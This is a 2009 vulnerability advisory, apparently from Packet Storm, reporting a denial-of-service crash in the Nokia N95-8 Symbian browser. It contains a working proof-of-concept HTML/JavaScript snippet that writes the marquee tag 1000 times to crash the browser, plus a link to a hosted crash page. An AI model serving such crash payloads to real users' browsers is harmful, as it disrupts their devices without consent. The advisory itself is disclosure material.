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Nokia N95-8 Browser Crash

🗓️ 05 Feb 2009 00:00:00Reported by Juan Pablo Lopez YacubianType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 30 Views

Nokia N95-8 Browser Denial of Service Vulnerability due to HTML Tag Overflo

Code
`  
Application: Nokia N95-8  
OS: Symbian  
------------------------------------------------------  
1 - Description  
2 - Vulnerability  
3 - POC/EXPLOIT  
  
  
------------------------------------------------------  
Description  
  
  
The nokia n95 is a smartphone, this phone have more tools, for example: gps,mp3,camera,wireless.  
  
:)  
  
------------------------------------------------------  
Vulnerability  
  
The code of this bug was found long ago, was for firefox 1.0 and caused denial of service.  
  
The problem was that when you insert many html tags (<marquee>) the program crash.  
  
I 'm testing this code in the browser of nokia n95 and this crash, only the browser.., the bug is very inofensive   
  
but is curious  
  
  
  
------------------------------------------------------  
POC/EXPLOIT  
  
Enter in this url   
  
http://es.geocities.com/jplopezy/nokiacrash.html  
  
  
or make html file and insert many tags <marquee>   
  
POC CODE HERE:  
  
<h1> Nokia N95 - 8gb browser crash </h1>  
  
<html>  
<script>  
var data = "<marquee>";  
for(x=1;x<=1000;x++){  
document.write(data);  
}  
</script>  
</html>  
  
Juan Pablo Lopez Yacubian  
<!-- following code added by server. PLEASE REMOVE -->  
<!-- preceding code added by server. PLEASE REMOVE --><!-- text below generated by server. PLEASE REMOVE --></object></layer></div></span></style></noscript></table></script></applet><script language="JavaScript" src="http://us.i1.yimg.com/us.yimg.com/i/mc/mc.js"></script><script language="JavaScript" src="http://us.js2.yimg.com/us.js.yimg.com/lib/smb/js/hosting/cp/js_source/geov2_001.js"></script><script language="javascript">geovisit();</script><noscript><img src="http://visit.geocities.yahoo.com/visit.gif?es1233862552" alt="setstats" border="0" width="1" height="1"></noscript>  
<IMG SRC="http://geo.yahoo.com/serv?s=382026089&t=1233862552&f=es-w88" ALT=1 WIDTH=1 HEIGHT=1>  
  
  
------------------------------------------------------  
Juan Pablo Lopez Yacubian  
  
`

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05 Feb 2009 00:00Current
7.4High risk
Vulners AI Score7.4
30